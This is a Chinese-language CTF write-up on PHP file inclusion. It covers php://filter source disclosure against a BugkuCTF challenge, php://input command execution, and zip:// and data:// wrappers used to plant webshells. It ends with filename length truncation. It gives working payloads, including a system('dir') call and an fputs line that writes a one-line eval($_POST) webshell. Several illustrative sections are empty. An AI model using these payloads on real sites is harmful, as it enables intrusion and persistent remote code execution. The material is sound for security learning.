一、通过php_filter获取flag
1.php://filter介绍
1.定义:
2.举例说明:
(1)直接读取数据流:
(2)采用某种方式读取数据流,如果有两种及以上的读取方式,中间用 |
管道符隔开:
(3)写入数据流:
2.CTF实战
平台:BugkuCTF
题目:flag在index里
链接:http://123.206.87.240:8005/post/
1.点进去看到URL后面的参数,怀疑存在文件包含漏洞:
2.构造payload:
?file=php://filter/read=convert.base64-encode/resource=index.php
然后页面返回了index.php文件通过base64编码以后的内容:
- 为什么需要用base64进行编码?
因为如果不进行base64编码传入,就会PHP代码会直接执行,为了确保我们得到的是源文件,最好是编码以后再解码。
就比如里的flag就是在注释中,如果不通过编码传输,我们是看不到的。
3.解码得到flag:
二、php_input命令执行及获取webshell
1.php_input介绍
2.实验操作
这里用到了一款Firefox的插件HackBar。
- 最新版的HackBar是需要收费的,我这里是在在GitHub上下载HackBar2.1.3版本的,然后手工添加。
1.可以查看phpinfo。
构造payload:
URL中:
?file=php://input
post传参:
<?php phpinfo(); ?>
应该还是哪里没弄好,所以没有出现预期的效果:
应该是这样:
2.可以找flag。
根据页面的提示,我们可知flag在当前目录的某个文件里,所以我们用 system("dir")
输出目录的所有文件,可以看到flag.php:
payload:
<?php system("dir"); ?>
3.可以连菜刀获取webshell。
写一个名为 shell.php
的文件,"w"
是写权限的意思,里面的内容是一句话木马<?php eval($_POST[isns]);?>'
。
payload:
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST[isns]);?>');?>
然后连接菜刀即可获得webshell。
三、php压缩协议获取webshell
当我们把压缩包上传成功以后,页面返回了它存放的绝对路径:
- 使用zip协议时,我们需要知道物理路径,绝对路径不行。
构造payload:
?file=zip://压缩包的绝对路径%23压缩包里的文件名
- %23是#的URL编码,但是不能写#,因为浏览器会当成注释符而忽略后面的内容。
然后再连菜刀,注入点是backdoor.php文件中一句话木马里的注入点。
只要是一个真正的压缩包,不管你把压缩包的后缀名修改成txt、jpg、png等,都可以通过压缩包协议上传的。
四、data协议获取webshell
其实data协议和input协议差不多,只是data是get方法,input是post方法。
data协议有四种语法,任选一种都可以:
也可以写入一句话木马:
然后连接菜刀获取webshell。
五、利用操作系统对文件名读取的特性进行文件包含(长度截断)
如果题目的源码在我们传入的文件名后面添加后缀.html:
在PHP 5.3以后就00截断就用不了了,所以我们这里可以使用长度截断。
由于在文件名中不能包含特殊字符,但可以加 .
:
所以我们可以在文件名后面加上两百多个点,使文件名长度大于256位(Windows下),然后代码中添加的.html后缀名就被截断了,我们的php文件就可以正常执行: